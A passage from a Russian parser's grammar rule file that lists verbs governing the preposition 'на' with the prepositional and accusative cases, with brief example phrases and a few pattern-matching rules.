rus_verbs:постоять{}, // постоять на голове rus_verbs:приобрести{}, // приобрести на распродаже rus_verbs:попасться{}, // попасться на краже rus_verbs:продолжаться{}, // продолжаться на земле rus_verbs:открывать{}, // открывать на арене rus_verbs:создавать{}, // создавать на сцене rus_verbs:обсуждать{}, // обсуждать на кухне rus_verbs:отыскать{}, // отыскать на полу rus_verbs:уснуть{}, // уснуть на диване rus_verbs:задержаться{}, // задержаться на работе rus_verbs:курить{}, // курить на свежем воздухе rus_verbs:приподняться{}, // приподняться на локтях rus_verbs:установить{}, // установить на вершине rus_verbs:запереть{}, // запереть на балконе rus_verbs:синеть{}, // синеть на воздухе rus_verbs:убивать{}, // убивать на нейтральной территории rus_verbs:скрываться{}, // скрываться на даче rus_verbs:родить{}, // родить на полу rus_verbs:описать{}, // описать на страницах книги rus_verbs:перехватить{}, // перехватить на подлете rus_verbs:скрывать{}, // скрывать на даче rus_verbs:сменить{}, // сменить на посту rus_verbs:мелькать{}, // мелькать на экране rus_verbs:присутствовать{}, // присутствовать на мероприятии rus_verbs:украсть{}, // украсть на рынке rus_verbs:победить{}, // победить на ринге rus_verbs:упомянуть{}, // упомянуть на страницах романа rus_verbs:плыть{}, // плыть на старой лодке rus_verbs:повиснуть{}, // повиснуть на перекладине rus_verbs:нащупать{}, // нащупать на дне rus_verbs:затихнуть{}, // затихнуть на дне rus_verbs:построить{}, // построить на участке rus_verbs:поддерживать{}, // поддерживать на поверхности rus_verbs:заработать{}, // заработать на бирже rus_verbs:провалиться{}, // провалиться на экзамене rus_verbs:сохранить{}, // сохранить на диске rus_verbs:располагаться{}, // располагаться на софе rus_verbs:поклясться{}, // поклясться на библии rus_verbs:сражаться{}, // сражаться на арене rus_verbs:спускаться{}, // спускаться на дельтаплане rus_verbs:уничтожить{}, // уничтожить на подступах rus_verbs:изучить{}, // изучить на практике rus_verbs:рождаться{}, // рождаться на праздниках rus_verbs:прилететь{}, // прилететь на самолете rus_verbs:догнать{}, // догнать на перекрестке rus_verbs:изобразить{}, // изобразить на бумаге rus_verbs:проехать{}, // проехать на тракторе rus_verbs:приготовить{}, // приготовить на масле rus_verbs:споткнуться{}, // споткнуться на полу rus_verbs:собирать{}, // собирать на берегу rus_verbs:отсутствовать{}, // отсутствовать на тусовке rus_verbs:приземлиться{}, // приземлиться на военном аэродроме rus_verbs:сыграть{}, // сыграть на трубе rus_verbs:прятаться{}, // прятаться на даче rus_verbs:спрятаться{}, // спрятаться на чердаке rus_verbs:провозгласить{}, // провозгласить на митинге rus_verbs:изложить{}, // изложить на бумаге rus_verbs:использоваться{}, // использоваться на практике rus_verbs:замяться{}, // замяться на входе rus_verbs:раздаваться{}, // Крик ягуара раздается на краю болота rus_verbs:сверкнуть{}, // сверкнуть на солнце rus_verbs:сверкать{}, // сверкать на свету rus_verbs:задержать{}, // задержать на митинге rus_verbs:осечься{}, // осечься на первом слове rus_verbs:хранить{}, // хранить на банковском счету rus_verbs:шутить{}, // шутить на уроке rus_verbs:кружиться{}, // кружиться на балу rus_verbs:чертить{}, // чертить на доске rus_verbs:отразиться{}, // отразиться на оценках rus_verbs:греть{}, // греть на солнце rus_verbs:рассуждать{}, // рассуждать на страницах своей книги rus_verbs:окружать{}, // окружать на острове rus_verbs:сопровождать{}, // сопровождать на охоте rus_verbs:заканчиваться{}, // заканчиваться на самом интересном месте rus_verbs:содержаться{}, // содержаться на приусадебном участке rus_verbs:поселиться{}, // поселиться на даче rus_verbs:запеть{}, // запеть на сцене инфинитив:провозить{ вид:несоверш }, // провозить на теле глагол:провозить{ вид:несоверш }, прилагательное:провезенный{}, прилагательное:провозивший{вид:несоверш}, прилагательное:провозящий{вид:несоверш}, деепричастие:провозя{}, rus_verbs:мочить{}, // мочить на месте rus_verbs:преследовать{}, // преследовать на территории другого штата rus_verbs:пролететь{}, // пролетел на параплане rus_verbs:драться{}, // драться на рапирах rus_verbs:просидеть{}, // просидеть на занятиях rus_verbs:убираться{}, // убираться на балконе rus_verbs:таять{}, // таять на солнце rus_verbs:проверять{}, // проверять на полиграфе rus_verbs:убеждать{}, // убеждать на примере rus_verbs:скользить{}, // скользить на льду rus_verbs:приобретать{}, // приобретать на распродаже rus_verbs:летать{}, // летать на метле rus_verbs:толпиться{}, // толпиться на перроне rus_verbs:плавать{}, // плавать на надувном матрасе rus_verbs:описывать{}, // описывать на страницах повести rus_verbs:пробыть{}, // пробыть на солнце слишком долго rus_verbs:застрять{}, // застрять на верхнем этаже rus_verbs:метаться{}, // метаться на полу rus_verbs:сжечь{}, // сжечь на костре rus_verbs:расслабиться{}, // расслабиться на кушетке rus_verbs:услыхать{}, // услыхать на рынке rus_verbs:удержать{}, // удержать на прежнем уровне rus_verbs:образоваться{}, // образоваться на дне rus_verbs:рассмотреть{}, // рассмотреть на поверхности чипа rus_verbs:уезжать{}, // уезжать на попутке rus_verbs:похоронить{}, // похоронить на закрытом кладбище rus_verbs:настоять{}, // настоять на пересмотре оценок rus_verbs:растянуться{}, // растянуться на горячем песке rus_verbs:покрутить{}, // покрутить на шесте rus_verbs:обнаружиться{}, // обнаружиться на болоте rus_verbs:гулять{}, // гулять на свадьбе rus_verbs:утонуть{}, // утонуть на курорте rus_verbs:храниться{}, // храниться на депозите rus_verbs:танцевать{}, // танцевать на свадьбе rus_verbs:трудиться{}, // трудиться на заводе инфинитив:засыпать{переходность:непереходный вид:несоверш}, // засыпать на кровати глагол:засыпать{переходность:непереходный вид:несоверш}, деепричастие:засыпая{переходность:непереходный вид:несоверш}, прилагательное:засыпавший{переходность:непереходный вид:несоверш}, прилагательное:засыпающий{ вид:несоверш переходность:непереходный }, // ребенок, засыпающий на руках rus_verbs:сушить{}, // сушить на открытом воздухе rus_verbs:зашевелиться{}, // зашевелиться на чердаке rus_verbs:обдумывать{}, // обдумывать на досуге rus_verbs:докладывать{}, // докладывать на научной конференции rus_verbs:промелькнуть{}, // промелькнуть на экране // прилагательное:находящийся{ вид:несоверш }, // колонна, находящаяся на ничейной территории прилагательное:написанный{}, // слово, написанное на заборе rus_verbs:умещаться{}, // компьютер, умещающийся на ладони rus_verbs:открыть{}, // книга, открытая на последней странице rus_verbs:спать{}, // йог, спящий на гвоздях rus_verbs:пробуксовывать{}, // колесо, пробуксовывающее на обледенелом асфальте rus_verbs:забуксовать{}, // колесо, забуксовавшее на обледенелом асфальте rus_verbs:отобразиться{}, // удивление, отобразившееся на лице rus_verbs:увидеть{}, // на полу я увидел чьи-то следы rus_verbs:видеть{}, // на полу я вижу чьи-то следы rus_verbs:оставить{}, // Мел оставил на доске белый след. rus_verbs:оставлять{}, // Мел оставляет на доске белый след. rus_verbs:встречаться{}, // встречаться на лекциях rus_verbs:познакомиться{}, // познакомиться на занятиях rus_verbs:устроиться{}, // она устроилась на кровати rus_verbs:ложиться{}, // ложись на полу rus_verbs:останавливаться{}, // останавливаться на достигнутом rus_verbs:спотыкаться{}, // спотыкаться на ровном месте rus_verbs:распечатать{}, // распечатать на бумаге rus_verbs:распечатывать{}, // распечатывать на бумаге rus_verbs:просмотреть{}, // просмотреть на бумаге rus_verbs:закрепляться{}, // закрепляться на плацдарме rus_verbs:погреться{}, // погреться на солнышке rus_verbs:мешать{}, // Он мешал краски на палитре. rus_verbs:занять{}, // Он занял первое место на соревнованиях. rus_verbs:заговариваться{}, // Он заговаривался иногда на уроках. деепричастие:женившись{ вид:соверш }, rus_verbs:везти{}, // Он везёт песок на тачке. прилагательное:казненный{}, // Он был казнён на электрическом стуле. rus_verbs:прожить{}, // Он безвыездно прожил всё лето на даче. rus_verbs:принести{}, // Официантка принесла нам обед на подносе. rus_verbs:переписать{}, // Перепишите эту рукопись на машинке. rus_verbs:идти{}, // Поезд идёт на малой скорости. rus_verbs:петь{}, // птички поют на рассвете rus_verbs:смотреть{}, // Смотри на обороте. rus_verbs:прибрать{}, // прибрать на столе rus_verbs:прибраться{}, // прибраться на столе rus_verbs:растить{}, // растить капусту на огороде rus_verbs:тащить{}, // тащить ребенка на руках rus_verbs:убирать{}, // убирать на столе rus_verbs:простыть{}, // Я простыл на морозе. rus_verbs:сиять{}, // ясные звезды мирно сияли на безоблачном весеннем небе. rus_verbs:проводиться{}, // такие эксперименты не проводятся на воде rus_verbs:достать{}, // Я не могу достать до яблок на верхних ветках. rus_verbs:расплыться{}, // Чернила расплылись на плохой бумаге. rus_verbs:вскочить{}, // У него вскочил прыщ на носу. rus_verbs:свить{}, // У нас на балконе воробей свил гнездо. rus_verbs:оторваться{}, // У меня на пальто оторвалась пуговица. rus_verbs:восходить{}, // Солнце восходит на востоке. rus_verbs:блестеть{}, // Снег блестит на солнце. rus_verbs:побить{}, // Рысак побил всех лошадей на скачках. rus_verbs:литься{}, // Реки крови льются на войне. rus_verbs:держаться{}, // Ребёнок уже твёрдо держится на ногах. rus_verbs:клубиться{}, // Пыль клубится на дороге. инфинитив:написать{ aux stress="напис^ать" }, // Ты должен написать статью на английском языке глагол:написать{ aux stress="напис^ать" }, // Он написал статью на русском языке. // глагол:находиться{вид:несоверш}, // мой поезд находится на первом пути // инфинитив:находиться{вид:несоверш}, rus_verbs:жить{}, // Было интересно жить на курорте. rus_verbs:повидать{}, // Он много повидал на своём веку. rus_verbs:разъезжаться{}, // Ноги разъезжаются не только на льду. rus_verbs:расположиться{}, // Оба села расположились на берегу реки. rus_verbs:объясняться{}, // Они объясняются на иностранном языке. rus_verbs:прощаться{}, // Они долго прощались на вокзале. rus_verbs:работать{}, // Она работает на ткацкой фабрике. rus_verbs:купить{}, // Она купила молоко на рынке. rus_verbs:поместиться{}, // Все книги поместились на полке. глагол:проводить{вид:несоверш}, инфинитив:проводить{вид:несоверш}, // Нужно проводить теорию на практике. rus_verbs:пожить{}, // Недолго она пожила на свете. rus_verbs:краснеть{}, // Небо краснеет на закате. rus_verbs:бывать{}, // На Волге бывает сильное волнение. rus_verbs:ехать{}, // Мы туда ехали на автобусе. rus_verbs:провести{}, // Мы провели месяц на даче. rus_verbs:поздороваться{}, // Мы поздоровались при встрече на улице. rus_verbs:расти{}, // Арбузы растут теперь не только на юге. ГЛ_ИНФ(сидеть), // три больших пса сидят на траве ГЛ_ИНФ(сесть), // три больших пса сели на траву ГЛ_ИНФ(перевернуться), // На дороге перевернулся автомобиль ГЛ_ИНФ(повезти), // я повезу тебя на машине ГЛ_ИНФ(отвезти), // мы отвезем тебя на такси ГЛ_ИНФ(пить), // пить на кухне чай ГЛ_ИНФ(найти), // найти на острове ГЛ_ИНФ(быть), // на этих костях есть следы зубов ГЛ_ИНФ(высадиться), // помощники высадились на острове ГЛ_ИНФ(делать),прилагательное:делающий{}, прилагательное:делавший{}, деепричастие:делая{}, // смотрю фильм о том, что пираты делали на необитаемом острове ГЛ_ИНФ(случиться), // это случилось на опушке леса ГЛ_ИНФ(продать), ГЛ_ИНФ(есть) // кошки ели мой корм на песчаном берегу } #endregion VerbList // Чтобы разрешить связывание в паттернах типа: смотреть на youtube fact гл_предл { if context { Гл_НА_Предл предлог:в{} @regex("[a-z]+[0-9]*") } then return true } fact гл_предл { if context { Гл_НА_Предл предлог:на{} *:*{падеж:предл} } then return true } // локатив fact гл_предл { if context { Гл_НА_Предл предлог:на{} *:*{падеж:мест} } then return true } #endregion ПРЕДЛОЖНЫЙ #region ВИНИТЕЛЬНЫЙ // НА+винительный падеж: // ЗАБИРАТЬСЯ НА ВЕРШИНУ ГОРЫ #region VerbList wordentry_set Гл_НА_Вин= { rus_verbs:переметнуться{}, // Ее взгляд растерянно переметнулся на Лили. rus_verbs:отогнать{}, // Водитель отогнал машину на стоянку. rus_verbs:фапать{}, // Не фапай на желтяк и не перебивай. rus_verbs:умножить{}, // Умножьте это количество примерно на 10. //rus_verbs:умножать{}, rus_verbs:откатить{}, // Откатил Шпак валун на шлях и перекрыл им дорогу. rus_verbs:откатывать{}, rus_verbs:доносить{}, // Вот и побежали на вас доносить. rus_verbs:донести{}, rus_verbs:разбирать{}, // Ворованные автомобили злоумышленники разбирали на запчасти и продавали. безлич_глагол:хватит{}, // - На одну атаку хватит. rus_verbs:скупиться{}, // Он сражался за жизнь, не скупясь на хитрости и усилия, и пока этот стиль давал неплохие результаты. rus_verbs:поскупиться{}, // Не поскупись на похвалы! rus_verbs:подыматься{}, rus_verbs:транспортироваться{}, rus_verbs:бахнуть{}, // Бахнуть стакан на пол rus_verbs:РАЗДЕЛИТЬ{}, // Президентские выборы разделили Венесуэлу на два непримиримых лагеря (РАЗДЕЛИТЬ) rus_verbs:НАЦЕЛИВАТЬСЯ{}, // Невдалеке пролетел кондор, нацеливаясь на бизонью тушу. (НАЦЕЛИВАТЬСЯ) rus_verbs:ВЫПЛЕСНУТЬ{}, // Низкий вибрирующий гул напоминал вулкан, вот-вот готовый выплеснуть на земную твердь потоки раскаленной лавы. (ВЫПЛЕСНУТЬ) rus_verbs:ИСЧЕЗНУТЬ{}, // Оно фыркнуло и исчезло в лесу на другой стороне дороги (ИСЧЕЗНУТЬ) rus_verbs:ВЫЗВАТЬ{}, // вызвать своего брата на поединок. (ВЫЗВАТЬ) rus_verbs:ПОБРЫЗГАТЬ{}, // Матрос побрызгал немного фимиама на крошечный огонь (ПОБРЫЗГАТЬ/БРЫЗГАТЬ/БРЫЗНУТЬ/КАПНУТЬ/КАПАТЬ/ПОКАПАТЬ) rus_verbs:БРЫЗГАТЬ{}, rus_verbs:БРЫЗНУТЬ{}, rus_verbs:КАПНУТЬ{}, rus_verbs:КАПАТЬ{}, rus_verbs:ПОКАПАТЬ{}, rus_verbs:ПООХОТИТЬСЯ{}, // Мы можем когда-нибудь вернуться и поохотиться на него. (ПООХОТИТЬСЯ/ОХОТИТЬСЯ) rus_verbs:ОХОТИТЬСЯ{}, // rus_verbs:ПОПАСТЬСЯ{}, // Не думал я, что они попадутся на это (ПОПАСТЬСЯ/НАРВАТЬСЯ/НАТОЛКНУТЬСЯ) rus_verbs:НАРВАТЬСЯ{}, // rus_verbs:НАТОЛКНУТЬСЯ{}, // rus_verbs:ВЫСЛАТЬ{}, // Он выслал разведчиков на большое расстояние от основного отряда. (ВЫСЛАТЬ) прилагательное:ПОХОЖИЙ{}, // Ты не выглядишь похожим на индейца (ПОХОЖИЙ) rus_verbs:РАЗОРВАТЬ{}, // Через минуту он был мертв и разорван на части. (РАЗОРВАТЬ) rus_verbs:СТОЛКНУТЬ{}, // Только быстрыми выпадами копья он сумел столкнуть их обратно на карниз. (СТОЛКНУТЬ/СТАЛКИВАТЬ) rus_verbs:СТАЛКИВАТЬ{}, // rus_verbs:СПУСТИТЬ{}, // Я побежал к ним, но они к тому времени спустили лодку на воду (СПУСТИТЬ) rus_verbs:ПЕРЕБРАСЫВАТЬ{}, // Сирия перебрасывает на юг страны воинские подкрепления (ПЕРЕБРАСЫВАТЬ, ПЕРЕБРОСИТЬ, НАБРАСЫВАТЬ, НАБРОСИТЬ) rus_verbs:ПЕРЕБРОСИТЬ{}, // rus_verbs:НАБРАСЫВАТЬ{}, // rus_verbs:НАБРОСИТЬ{}, // rus_verbs:СВЕРНУТЬ{}, // Он вывел машину на бульвар и поехал на восток, а затем свернул на юг. (СВЕРНУТЬ/СВОРАЧИВАТЬ/ПОВЕРНУТЬ/ПОВОРАЧИВАТЬ) rus_verbs:СВОРАЧИВАТЬ{}, // // rus_verbs:ПОВЕРНУТЬ{}, // rus_verbs:ПОВОРАЧИВАТЬ{}, // rus_verbs:наорать{}, rus_verbs:ПРОДВИНУТЬСЯ{}, // Полк продвинется на десятки километров (ПРОДВИНУТЬСЯ) rus_verbs:БРОСАТЬ{}, // Он бросает обещания на ветер (БРОСАТЬ) rus_verbs:ОДОЛЖИТЬ{}, // Я вам одолжу книгу на десять дней (ОДОЛЖИТЬ) rus_verbs:перегнать{}, // Скот нужно перегнать с этого пастбища на другое rus_verbs:перегонять{}, rus_verbs:выгонять{}, rus_verbs:выгнать{}, rus_verbs:СВОДИТЬСЯ{}, // сейчас панели кузовов расходятся по десяткам покрасочных постов и потом сводятся вновь на общий конвейер (СВОДИТЬСЯ) rus_verbs:ПОЖЕРТВОВАТЬ{}, // Бывший функционер компартии Эстонии пожертвовал деньги на расследования преступлений коммунизма (ПОЖЕРТВОВАТЬ) rus_verbs:ПРОВЕРЯТЬ{}, // Школьников будут принудительно проверять на курение (ПРОВЕРЯТЬ) rus_verbs:ОТПУСТИТЬ{}, // Приставы отпустят должников на отдых (ОТПУСТИТЬ) rus_verbs:использоваться{}, // имеющийся у государства денежный запас активно используется на поддержание рынка акций rus_verbs:назначаться{}, // назначаться на пост rus_verbs:наблюдать{}, // Судья , долго наблюдавший в трубу , вдруг вскричал rus_verbs:ШПИОНИТЬ{}, // Канадского офицера, шпионившего на Россию, приговорили к 20 годам тюрьмы (ШПИОНИТЬ НА вин) rus_verbs:ЗАПЛАНИРОВАТЬ{}, // все деньги , запланированные на сейсмоукрепление домов на Камчатке (ЗАПЛАНИРОВАТЬ НА) // rus_verbs:ПОХОДИТЬ{}, // больше походил на обвинительную речь , адресованную руководству республики (ПОХОДИТЬ НА) rus_verbs:ДЕЙСТВОВАТЬ{}, // выявленный контрабандный канал действовал на постоянной основе (ДЕЙСТВОВАТЬ НА) rus_verbs:ПЕРЕДАТЬ{}, // после чего должно быть передано на рассмотрение суда (ПЕРЕДАТЬ НА вин) rus_verbs:НАЗНАЧИТЬСЯ{}, // Зимой на эту должность пытался назначиться народный депутат (НАЗНАЧИТЬСЯ НА) rus_verbs:РЕШИТЬСЯ{}, // Франция решилась на одностороннее и рискованное военное вмешательство (РЕШИТЬСЯ НА) rus_verbs:ОРИЕНТИРОВАТЬ{}, // Этот браузер полностью ориентирован на планшеты и сенсорный ввод (ОРИЕНТИРОВАТЬ НА вин) rus_verbs:ЗАВЕСТИ{}, // на Витьку завели дело (ЗАВЕСТИ НА) rus_verbs:ОБРУШИТЬСЯ{}, // В Северной Осетии на воинскую часть обрушилась снежная лавина (ОБРУШИТЬСЯ В, НА) rus_verbs:НАСТРАИВАТЬСЯ{}, // гетеродин, настраивающийся на волну (НАСТРАИВАТЬСЯ НА) rus_verbs:СУЩЕСТВОВАТЬ{}, // Он существует на средства родителей. (СУЩЕСТВОВАТЬ НА) прилагательное:способный{}, // Он способен на убийство. (СПОСОБНЫЙ НА) rus_verbs:посыпаться{}, // на Нину посыпались снежинки инфинитив:нарезаться{ вид:несоверш }, // Урожай собирают механически или вручную, стебли нарезаются на куски и быстро транспортируются на перерабатывающий завод. глагол:нарезаться{ вид:несоверш }, rus_verbs:пожаловать{}, // скандально известный певец пожаловал к нам на передачу rus_verbs:показать{}, // Вадим показал на Колю rus_verbs:съехаться{}, // Финалисты съехались на свои игры в Лос-Анжелес. (СЪЕХАТЬСЯ НА, В) rus_verbs:расщепляться{}, // Сахароза же быстро расщепляется в пищеварительном тракте на глюкозу и фруктозу (РАСЩЕПЛЯТЬСЯ В, НА) rus_verbs:упасть{}, // В Таиланде на автобус с российскими туристами упал башенный кран (УПАСТЬ В, НА) прилагательное:тугой{}, // Бабушка туга на ухо. (ТУГОЙ НА) rus_verbs:свисать{}, // Волосы свисают на лоб. (свисать на) rus_verbs:ЦЕНИТЬСЯ{}, // Всякая рабочая рука ценилась на вес золота. (ЦЕНИТЬСЯ НА) rus_verbs:ШУМЕТЬ{}, // Вы шумите на весь дом! (ШУМЕТЬ НА) rus_verbs:протянуться{}, // Дорога протянулась на сотни километров. (протянуться на) rus_verbs:РАССЧИТАТЬ{}, // Книга рассчитана на массового читателя. (РАССЧИТАТЬ НА) rus_verbs:СОРИЕНТИРОВАТЬ{}, // мы сориентировали процесс на повышение котировок (СОРИЕНТИРОВАТЬ НА) rus_verbs:рыкнуть{}, // рыкнуть на остальных членов стаи (рыкнуть на) rus_verbs:оканчиваться{}, // оканчиваться на звонкую согласную (оканчиваться на) rus_verbs:выехать{}, // посигналить нарушителю, выехавшему на встречную полосу (выехать на) rus_verbs:прийтись{}, // Пятое число пришлось на субботу. rus_verbs:крениться{}, // корабль кренился на правый борт (крениться на) rus_verbs:приходиться{}, // основной налоговый гнет приходится на средний бизнес (приходиться на) rus_verbs:верить{}, // верить людям на слово (верить на слово) rus_verbs:выезжать{}, // Завтра вся семья выезжает на новую квартиру. rus_verbs:записать{}, // Запишите меня на завтрашний приём к доктору. rus_verbs:пасть{}, // Жребий пал на меня. rus_verbs:ездить{}, // Вчера мы ездили на оперу. rus_verbs:влезть{}, // Мальчик влез на дерево. rus_verbs:выбежать{}, // Мальчик выбежал из комнаты на улицу. rus_verbs:разбиться{}, // окно разбилось на мелкие осколки rus_verbs:бежать{}, // я бегу на урок rus_verbs:сбегаться{}, // сбегаться на происшествие rus_verbs:присылать{}, // присылать на испытание rus_verbs:надавить{}, // надавить на педать rus_verbs:внести{}, // внести законопроект на рассмотрение rus_verbs:вносить{}, // вносить законопроект на рассмотрение rus_verbs:поворачиваться{}, // поворачиваться на 180 градусов rus_verbs:сдвинуть{}, // сдвинуть на несколько сантиметров rus_verbs:опубликовать{}, // С.Митрохин опубликовал компромат на думских подельников Гудкова rus_verbs:вырасти{}, // Официальный курс доллара вырос на 26 копеек. rus_verbs:оглядываться{}, // оглядываться на девушек rus_verbs:расходиться{}, // расходиться на отдых rus_verbs:поскакать{}, // поскакать на службу rus_verbs:прыгать{}, // прыгать на сцену rus_verbs:приглашать{}, // приглашать на обед rus_verbs:рваться{}, // Кусок ткани рвется на части rus_verbs:понестись{}, // понестись на волю rus_verbs:распространяться{}, // распространяться на всех жителей штата инфинитив:просыпаться{ вид:соверш }, глагол:просыпаться{ вид:соверш }, // просыпаться на пол инфинитив:просыпаться{ вид:несоверш }, глагол:просыпаться{ вид:несоверш }, деепричастие:просыпавшись{}, деепричастие:просыпаясь{}, rus_verbs:заехать{}, // заехать на пандус rus_verbs:разобрать{}, // разобрать на составляющие rus_verbs:опускаться{}, // опускаться на колени rus_verbs:переехать{}, // переехать на конспиративную квартиру rus_verbs:закрывать{}, // закрывать глаза на действия конкурентов rus_verbs:поместить{}, // поместить на поднос rus_verbs:отходить{}, // отходить на подготовленные позиции rus_verbs:сыпаться{}, // сыпаться на плечи rus_verbs:отвезти{}, // отвезти на занятия rus_verbs:накинуть{}, // накинуть на плечи rus_verbs:отлететь{}, // отлететь на пол rus_verbs:закинуть{}, // закинуть на чердак rus_verbs:зашипеть{}, // зашипеть на собаку rus_verbs:прогреметь{}, // прогреметь на всю страну rus_verbs:повалить{}, // повалить на стол rus_verbs:опереть{}, // опереть на фундамент rus_verbs:забросить{}, // забросить на антресоль rus_verbs:подействовать{}, // подействовать на материал rus_verbs:разделять{}, // разделять на части rus_verbs:прикрикнуть{}, // прикрикнуть на детей rus_verbs:разложить{}, // разложить на множители rus_verbs:провожать{}, // провожать на работу rus_verbs:катить{}, // катить на стройку rus_verbs:наложить{}, // наложить запрет на проведение операций с недвижимостью rus_verbs:сохранять{}, // сохранять на память rus_verbs:злиться{}, // злиться на друга rus_verbs:оборачиваться{}, // оборачиваться на свист rus_verbs:сползти{}, // сползти на землю rus_verbs:записывать{}, // записывать на ленту rus_verbs:загнать{}, // загнать на дерево rus_verbs:забормотать{}, // забормотать на ухо rus_verbs:протиснуться{}, // протиснуться на самый край rus_verbs:заторопиться{}, // заторопиться на вручение премии rus_verbs:гаркнуть{}, // гаркнуть на шалунов rus_verbs:навалиться{}, // навалиться на виновника всей толпой rus_verbs:проскользнуть{}, // проскользнуть на крышу дома rus_verbs:подтянуть{}, // подтянуть на палубу rus_verbs:скатиться{}, // скатиться на двойки rus_verbs:давить{}, // давить на жалость rus_verbs:намекнуть{}, // намекнуть на новые обстоятельства rus_verbs:замахнуться{}, // замахнуться на святое rus_verbs:заменить{}, // заменить на свежую салфетку rus_verbs:свалить{}, // свалить на землю rus_verbs:стекать{}, // стекать на оголенные провода rus_verbs:увеличиваться{}, // увеличиваться на сотню процентов rus_verbs:развалиться{}, // развалиться на части rus_verbs:сердиться{}, // сердиться на товарища rus_verbs:обронить{}, // обронить на пол rus_verbs:подсесть{}, // подсесть на наркоту rus_verbs:реагировать{}, // реагировать на импульсы rus_verbs:отпускать{}, // отпускать на волю rus_verbs:прогнать{}, // прогнать на рабочее место rus_verbs:ложить{}, // ложить на стол rus_verbs:рвать{}, // рвать на части rus_verbs:разлететься{}, // разлететься на кусочки rus_verbs:превышать{}, // превышать на существенную величину rus_verbs:сбиться{}, // сбиться на рысь rus_verbs:пристроиться{}, // пристроиться на хорошую работу rus_verbs:удрать{}, // удрать на пастбище rus_verbs:толкать{}, // толкать на преступление rus_verbs:посматривать{}, // посматривать на экран rus_verbs:набирать{}, // набирать на судно rus_verbs:отступать{}, // отступать на дерево rus_verbs:подуть{}, // подуть на молоко rus_verbs:плеснуть{}, // плеснуть на голову rus_verbs:соскользнуть{}, // соскользнуть на землю rus_verbs:затаить{}, // затаить на кого-то обиду rus_verbs:обижаться{}, // обижаться на Колю rus_verbs:смахнуть{}, // смахнуть на пол rus_verbs:застегнуть{}, // застегнуть на все пуговицы rus_verbs:спускать{}, // спускать на землю rus_verbs:греметь{}, // греметь на всю округу rus_verbs:скосить{}, // скосить на соседа глаз rus_verbs:отважиться{}, // отважиться на прыжок rus_verbs:литься{}, // литься на землю rus_verbs:порвать{}, // порвать на тряпки rus_verbs:проследовать{}, // проследовать на сцену rus_verbs:надевать{}, // надевать на голову rus_verbs:проскочить{}, // проскочить на красный свет rus_verbs:прилечь{}, // прилечь на диванчик rus_verbs:разделиться{}, // разделиться на небольшие группы rus_verbs:завыть{}, // завыть на луну rus_verbs:переносить{}, // переносить на другую машину rus_verbs:наговорить{}, // наговорить на сотню рублей rus_verbs:намекать{}, // намекать на новые обстоятельства rus_verbs:нападать{}, // нападать на охранников rus_verbs:убегать{}, // убегать на другое место rus_verbs:тратить{}, // тратить на развлечения rus_verbs:присаживаться{}, // присаживаться на корточки rus_verbs:переместиться{}, // переместиться на вторую линию rus_verbs:завалиться{}, // завалиться на диван rus_verbs:удалиться{}, // удалиться на покой rus_verbs:уменьшаться{}, // уменьшаться на несколько процентов rus_verbs:обрушить{}, // обрушить на голову rus_verbs:резать{}, // резать на части rus_verbs:умчаться{}, // умчаться на юг rus_verbs:навернуться{}, // навернуться на камень rus_verbs:примчаться{}, // примчаться на матч rus_verbs:издавать{}, // издавать на собственные средства rus_verbs:переключить{}, // переключить на другой язык rus_verbs:отправлять{}, // отправлять на пенсию rus_verbs:залечь{}, // залечь на дно rus_verbs:установиться{}, // установиться на диск rus_verbs:направлять{}, // направлять на дополнительное обследование rus_verbs:разрезать{}, // разрезать на части rus_verbs:оскалиться{}, // оскалиться на прохожего rus_verbs:рычать{}, // рычать на пьяных rus_verbs:погружаться{}, // погружаться на дно rus_verbs:опираться{}, // опираться на костыли rus_verbs:поторопиться{}, // поторопиться на учебу rus_verbs:сдвинуться{}, // сдвинуться на сантиметр rus_verbs:увеличить{}, // увеличить на процент rus_verbs:опускать{}, // опускать на землю rus_verbs:созвать{}, // созвать на митинг rus_verbs:делить{}, // делить на части rus_verbs:пробиться{}, // пробиться на заключительную часть rus_verbs:простираться{}, // простираться на много миль rus_verbs:забить{}, // забить на учебу rus_verbs:переложить{}, // переложить на чужие плечи rus_verbs:грохнуться{}, // грохнуться на землю rus_verbs:прорваться{}, // прорваться на сцену rus_verbs:разлить{}, // разлить на землю rus_verbs:укладываться{}, // укладываться на ночевку rus_verbs:уволить{}, // уволить на пенсию rus_verbs:наносить{}, // наносить на кожу rus_verbs:набежать{}, // набежать на берег rus_verbs:заявиться{}, // заявиться на стрельбище rus_verbs:налиться{}, // налиться на крышку rus_verbs:надвигаться{}, // надвигаться на берег rus_verbs:распустить{}, // распустить на каникулы rus_verbs:переключиться{}, // переключиться на другую задачу rus_verbs:чихнуть{}, // чихнуть на окружающих rus_verbs:шлепнуться{}, // шлепнуться на спину rus_verbs:устанавливать{}, // устанавливать на крышу rus_verbs:устанавливаться{}, // устанавливаться на крышу rus_verbs:устраиваться{}, // устраиваться на работу rus_verbs:пропускать{}, // пропускать на стадион инфинитив:сбегать{ вид:соверш }, глагол:сбегать{ вид:соверш }, // сбегать на фильм инфинитив:сбегать{ вид:несоверш }, глагол:сбегать{ вид:несоверш }, деепричастие:сбегав{}, деепричастие:сбегая{}, rus_verbs:показываться{}, // показываться на глаза rus_verbs:прибегать{}, // прибегать на урок rus_verbs:съездить{}, // съездить на ферму rus_verbs:прославиться{}, // прославиться на всю страну rus_verbs:опрокинуться{}, // опрокинуться на спину rus_verbs:насыпать{}, // насыпать на землю rus_verbs:употреблять{}, // употреблять на корм скоту rus_verbs:пристроить{}, // пристроить на работу rus_verbs:заворчать{}, // заворчать на вошедшего rus_verbs:завязаться{}, // завязаться на поставщиков rus_verbs:сажать{}, // сажать на стул rus_verbs:напрашиваться{}, // напрашиваться на жесткие ответные меры rus_verbs:заменять{}, // заменять на исправную rus_verbs:нацепить{}, // нацепить на голову rus_verbs:сыпать{}, // сыпать на землю rus_verbs:закрываться{}, // закрываться на ремонт rus_verbs:распространиться{}, // распространиться на всю популяцию rus_verbs:поменять{}, // поменять на велосипед rus_verbs:пересесть{}, // пересесть на велосипеды rus_verbs:подоспеть{}, // подоспеть на разбор rus_verbs:шипеть{}, // шипеть на собак rus_verbs:поделить{}, // поделить на части rus_verbs:подлететь{}, // подлететь на расстояние выстрела rus_verbs:нажимать{}, // нажимать на все кнопки rus_verbs:распасться{}, // распасться на части rus_verbs:приволочь{}, // приволочь на диван rus_verbs:пожить{}, // пожить на один доллар rus_verbs:устремляться{}, // устремляться на свободу rus_verbs:смахивать{}, // смахивать на пол rus_verbs:забежать{}, // забежать на обед rus_verbs:увеличиться{}, // увеличиться на существенную величину rus_verbs:прокрасться{}, // прокрасться на склад rus_verbs:пущать{}, 